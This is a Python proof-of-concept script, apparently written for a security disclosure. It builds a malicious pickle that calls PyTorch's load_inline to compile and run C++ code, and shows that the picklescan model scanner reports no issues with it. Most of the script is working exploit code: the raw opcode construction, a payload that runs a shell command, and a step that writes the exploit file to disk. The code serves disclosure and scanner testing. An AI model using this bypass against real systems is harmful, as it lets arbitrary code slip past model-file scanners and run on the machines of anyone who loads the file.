| |
| """ |
| PoC: torch.utils.cpp_extension.load_inline pickle scanner bypass |
| Severity: CRITICAL - Full RCE via C++ code compilation |
| Both picklescan and modelscan report 0 issues. |
| |
| torch.utils.cpp_extension.load_inline() compiles arbitrary C++ code |
| and loads it as a Python extension module. This means an attacker can |
| embed arbitrary C/C++ code in a pickle that will be compiled and |
| executed when the model is loaded. |
| |
| Impact: Full remote code execution via C++ compilation |
| """ |
| import pickle |
| import pickletools |
| import io |
| import os |
|
|
| class TorchCppExtensionExploit: |
| """Exploit pickle that compiles and loads arbitrary C++ code.""" |
| def __reduce__(self): |
| |
| |
| |
| |
| |
| return ( |
| __import__('torch.utils.cpp_extension', fromlist=['load_inline']).load_inline, |
| ( |
| "exploit", |
| '#include <cstdlib>\nstatic auto x = std::system("id > /tmp/pwned");', |
| [], |
| [], |
| ) |
| ) |
|
|
| def make_raw_pickle(): |
| """Build pickle using raw opcodes to avoid import issues during pickle.dumps.""" |
| data = b'\x80\x04' |
| |
| mod = "torch.utils.cpp_extension" |
| data += b'\x8c' + bytes([len(mod)]) + mod.encode() |
| |
| func = "load_inline" |
| data += b'\x8c' + bytes([len(func)]) + func.encode() |
| data += b'\x93' |
|
|
| |
| name_arg = "exploit" |
| data += b'\x8c' + bytes([len(name_arg)]) + name_arg.encode() |
|
|
| cpp_code = '#include <cstdlib>\nstatic auto x = std::system("id > /tmp/pwned");' |
| data += b'\x8c' + bytes([len(cpp_code)]) + cpp_code.encode() |
|
|
| data += b'\x86' |
| data += b'R' |
| data += b'.' |
| return data |
|
|
| if __name__ == "__main__": |
| pkl_data = make_raw_pickle() |
|
|
| |
| print("=== Pickle Opcodes ===") |
| pickletools.dis(io.BytesIO(pkl_data)) |
|
|
| |
| from picklescan.scanner import scan_pickle_bytes |
| result = scan_pickle_bytes(io.BytesIO(pkl_data), "exploit.pkl") |
| print(f"\n=== Picklescan Results ===") |
| print(f"Issues: {result.issues_count}") |
| for g in result.globals: |
| print(f" {g.safety.value}: {g.module}.{g.name}") |
|
|
| |
| poc_path = os.path.join(os.path.dirname(__file__), "exploit-torch-cpp-load-inline.pkl") |
| with open(poc_path, 'wb') as f: |
| f.write(pkl_data) |
| print(f"\nPoC saved to: {poc_path}") |
| print(f"Size: {len(pkl_data)} bytes") |
| print(f"\nNOTE: DO NOT unpickle this file - it will compile and execute C++ code") |
|
|